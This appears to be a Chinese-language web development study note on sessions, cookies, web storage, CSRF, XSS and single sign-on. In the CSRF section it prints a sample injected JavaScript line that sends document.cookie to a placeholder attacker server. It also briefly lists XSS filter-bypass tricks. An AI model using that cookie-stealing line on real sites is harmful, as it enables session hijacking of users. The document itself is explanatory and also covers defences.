github
地址:戳这里
session
概念
- 指一类用来在客户端与服务器之间保持状态的解决方案
- 这种解决方案的存储结构
特点
由于
Session
是以文本文件形式存储在服务器端的,所以不怕客户端修改 Session 内容。(也可以用其他存储方式比如redis
)Session
对象是有生命周期的Session
实例是轻量级的,所谓轻量级:是指他的创建和删除不需要消耗太多资源Session
对象内部有一个缓存
用法
Session
对象存储特定用户会话所需的属性及配置信息,在web
页跳转时,信息将不会丢失
通常用于以下操作
- 存储整个会话过程中保持用户状态的信息,比如登录信息或者用户浏览时产生的其它信息
- 存储只需要在 页重新加载 过程中,或者 一组功能页 之间保持状态的对象
- 在 Web服务器上保持用户的 状态信息 供在任何时间从任何设备上的页面进行访问。
限制
- 用户登录越多,
session
需要的内存量越大 - 每个
Session
对象的持续时间是用户访问的时间加上不活动的时间。
为何需要session
HTTP协议本身是无状态的
举个喝咖啡的例子:
1、该店的店员很厉害,能记住每位顾客的消费数量,只要顾客一走进咖啡店,店员就知道该怎么对待了。这种做法就是协议本身支持状态。
2、发给顾客一张卡片,上面记录着消费的数量,一般还有个有效期限。每次消费时,如果顾客出示这张卡片,则此次消费就会与以前或以后的消费相联系起来。这种做法就是在客户端保持状态。
3、发给顾客一张会员卡,除了卡号之外什么信息也不纪录,每次消费时,如果顾客出示该卡片,则店员在店里的纪录本上找到这个卡号对应的纪录添加一些消费信息。这种做法就是在服务器端保持状态。
具体机制
- 当程序需要为某个客户端的请求创建一个
session
的时候,服务器首先检查这个客户端的请求里是否已包含了一个 session标识 - 称为session id
,如果已包含一个session id
则说明以前已经为此客户端创建过session,服务器就按照session id
把这个session
检索出来使用(如果检索不到,可能会新建一个),如果客户端请求不包含session id
,则为此客户端创建一个session
并且生成一个与此session
相关联的session id
,session id
的值应该是一个 既不会重复,又不容易被找到规律以仿造的字符串 ,这个session id
将被在本次响应中返回给客户端保存。 - 由于
cookie
可以被人为的禁止,必须有其他机制以便在cookie
被禁止时仍然能够把session id
传递回服务器。经常被使用的一种技术叫做URL
重写
两种形式:
// 作为url附加路径
'http://..../xxx;jsessionid=abcdefjijeoijoifjioe'
// 作为查询字符串
'http://..../xxx?jsessionid=abcdefjijeoijoifjioe'
- 较老的技术,表单隐藏字段,此方法在防止csrf中有用
一种节省空间的做法
由于关闭浏览器不会导致session
被删除,迫使服务器为seesion
设置了一个失效时间,当距离客户端上一次使用session
的时间超过这个失效时间时,服务器就可以认为客户端已经停止了活动,才会把session
删除以节省存储空间
reference
http://justsee.iteye.com/blog/1570652
https://baike.baidu.com/item/session/479100?fr=aladdin
https://blog.csdn.net/hjc1984117/article/details/53995816
cookie
存储在用户本地终端的数据
http
请求自动发送,跨域除外
用途
客户端记录用户信息
特点
存储在硬盘上的cookie
可以在不同的浏览器进程间共享,比如两个IE
窗口。而对于保存在内存里的cookie
,不同的浏览器有不同的处理方式。
属性
-
name
:cookie
名称 -
value
:cookie
值 -
domain
:可以访问cookie
的域名,某一级域名可以访问上一级级域名的cookie -
expires/Max-Age
:过期时间 -
Size
:cookie
的大小 -
http
:httponly
属性,为true
,不能用document.cookie
获得 -
secure
:为true
只能在https
获得 -
path
:子路径访问父路径cookie
创建cookie
document.cookie="username=John Doe; expires=Thu, 18 Dec 2013 12:00:00 GMT; path=/";
读取cookie
document.cookie
修改cookie
document.cookie =
采用覆盖的形式
删除cookie
将过期时间设置为过去时间即可
与localStorage
和sessionStorage
的区别
-
存储大小
cookie
数据大小不能超过4k。sessionStorage
和localStorage
虽然也有存储大小的限制,但比cookie
大得多,可以达到5M或更大。
-
有效时间
localStorage
存储持久数据,浏览器关闭后数据不丢失除非主动删除数据;sessionStorage
数据在当前浏览器窗口关闭后自动删除。cookie
设置的cookie
过期时间之前一直有效,即使窗口或浏览器关闭
-
sessionStorage
- 会话级别的存储
- 临时性的,页面打开有,页面关闭没有
- 数据不共享
- 通过a标签来跳出一个页面,则
sessionStorage
共享
-
localStorage
- 持久化的本地存储
- 永久性的存储
- 不能跨域
- 数据共享
-
cookie
-
cookie
在同源且符合path
规则的文档之间共享 -
max-age
用秒来设置cookie
的生存期。 - 如果
max-age
为0,则表示删除该cookie
。 - 如果
max-age
为负数,则表示该cookie
仅在本浏览器窗口以及本窗口打开的子窗口内有效,关闭窗口后该cookie即失效。
-
如何得到cookie
有两个http头部是专门负责设置以及发送cookie
的,它们分别是 Set-Cookie
以及 Cookie
。当服务器返回给客户端一个http响应信息时,其中如果包含Set-Cookie
这个头部时,意思就是指示客户端建立一个cookie
,并且在后续的http请求中自动发送这个cookie
到服务器端,直到这个cookie
过期。如果cookie
的生存时间是整个会话期间的话,那么浏览器会将cookie
保存在内存中,浏览器关闭时就会自动清除这个cookie
。另外一种情况就是保存在客户端的硬盘中,浏览器关闭的话,该cookie
也不会被清除,下次打开浏览器访问对应网站时,这个cookie
就会自动再次发送到服务器端。
cookie
服务器端写入
//java的写法
response.setHeader("SET-COOKIE", key + "="+ value + ";Path=/;domain="+ domain + ";date="+date);
//php 中的写法
setcookie(name,value,expire,path,domain,secure)
reference
https://my.oschina.net/ososchina/blog/339918
https://blog.csdn.net/dong123dddd/article/details/50388656
csrf(跨站请求伪造)
过程
- 用户c打开浏览器,登录网站a
- 登录成功后,记录登录信息
cookie
- 在网站
a
未退出的情况下,打开网站b
- 网站
b
在收到用户请求后返回攻击性代码,获取网站a
的cookie
,并发出请求a网站(注意:这儿是两步) - 网站
a
误以为还是用户c发出的请求
窃取cookie
向被攻击者的服务器页面上注入一段javascript
代码(借助xss跨站脚本攻击)
document.location='http://AttackerServer/getCookie.php?cookie='+document.cookie;
防御
- 验证
http referer
字段 - 在请求地址中添加token
系统开发者可以在HTTP
请求中以参数的形式加入一个随机产生的token
,并在服务器端建立一个拦截器来验证这个token
,如果请求中没有token
或者token
内容不正确,则认为可能是CSRF
攻击而拒绝该请求。
- 在
HTTP
头中自定义属性并验证(不会被泄露)
reference
http://www.freebuf.com/articles/web/11840.html
xss(跨站脚本攻击)
分类
- 反射型(非持久型)
那些浏览器每次都要在参数中提交恶意数据才能触发的跨站脚本漏洞。
可以让一个域名转向到恶意URL
,把那个域名发给用户
- 存储型(持久型)
指通过提交恶意数据到存储器(比如数据库、文本文件等),Web
应用程序输出的时候是从存储器中读出恶意数据输出到页面的一类跨站脚本漏洞。
常见攻击方法
- 绕过
xss-filter
- 利用
img
- 空格,回车,
tab
来绕过过滤 - 利用事件如:
- css跨站:
background-url
- 利用字符编码
防御
-
xss-filter
,过滤标签
2.httpOnly
- 将变量输出到页面时,要编码
reference
http://www.cnblogs.com/wqhwe/p/5416976.html
单系统登录
http
无状态协议
浏览器每次请求,服务器都单独处理
要鉴别浏览器请求,又因为http是无状态协议,所以需要服务器和浏览器共同维护一个状态
会话机制
浏览器第一次请求服务器,创建一个会话id,并由浏览器存储,以后每次请求都带上,服务器取得后可判断是否是同一个用户
单系统利用cookie
登录状态
浏览器第一次请求服务器,需要验证用户名和密码,通过与数据库里的作比较,验证通过将会话标记为“已授权”
以后每次请求都检查登录状态
单点登录(多系统登录,single sign on
,sso
)
用户登录注销一次,就可以在多个系统中得到效果
由于多系统的域不一样,所有cookie会受到限制,浏览器发送http
请求时会自动携带与该域匹配的cookie
,而不是所有cookie
如果将domain
设置为顶级域名会有限制:
- 系统群域名得统一
- 各系统使用的技术要相同
-
cookie
不安全
登录
相比于单系统登录,sso
多了一个认证中心,只有认证中心接受用户名和密码等安全信息,其他系统不提供登录入口,只接受认证中心的间接授权。间接授权通过令牌实现,sso
认证中心验证用户的用户名密码没问题,创建授权令牌,在接下来的跳转过程中,授权令牌作为参数发送给各个子系统,子系统拿到令牌,即得到了授权,可以借此创建局部会话,局部会话登录方式与单系统的登录方式相同。这个过程,也就是单点登录的原理,用下图说明
用户登录成功之后,会与sso认证中心及各个子系统建立会话,用户与sso认证中心建立的会话称为全局会话,用户与各个子系统建立的会话称为局部会话,局部会话建立之后,用户访问子系统受保护资源将不再通过sso认证中心
注销
具体跳转
假设认证中心和系统2的url分别是:sso.com、system2.com
,访问 system2.com
时因未登录而跳转到 sso.com
,跳转地址:http://sso.com?service=http://system2.com
(不需要额外信息),此时,就变成了浏览器与 http://sso.com
站点之间的会话,这个会话因为系统1登录的原因已经被标记为已登录,所以认证中心取一块令牌,根据service参数回跳,并附上令牌,回跳地址:http://system2.com?token=token
如何验证登录信息
-
不同域之间
- 当登录某一系统后,须跳转到其它系统并设置cookie
- nodejs实现302跳转
-
同一域名不同站点
- 共享
cookie
- 共享
-
同一域,不同子域
- 存放
sessionId
的域都是上一级的
- 存放
reference
https://www.cnblogs.com/wxj-106/p/8097880.html
http://www.cnblogs.com/ywlaker/p/6113927.html#!comments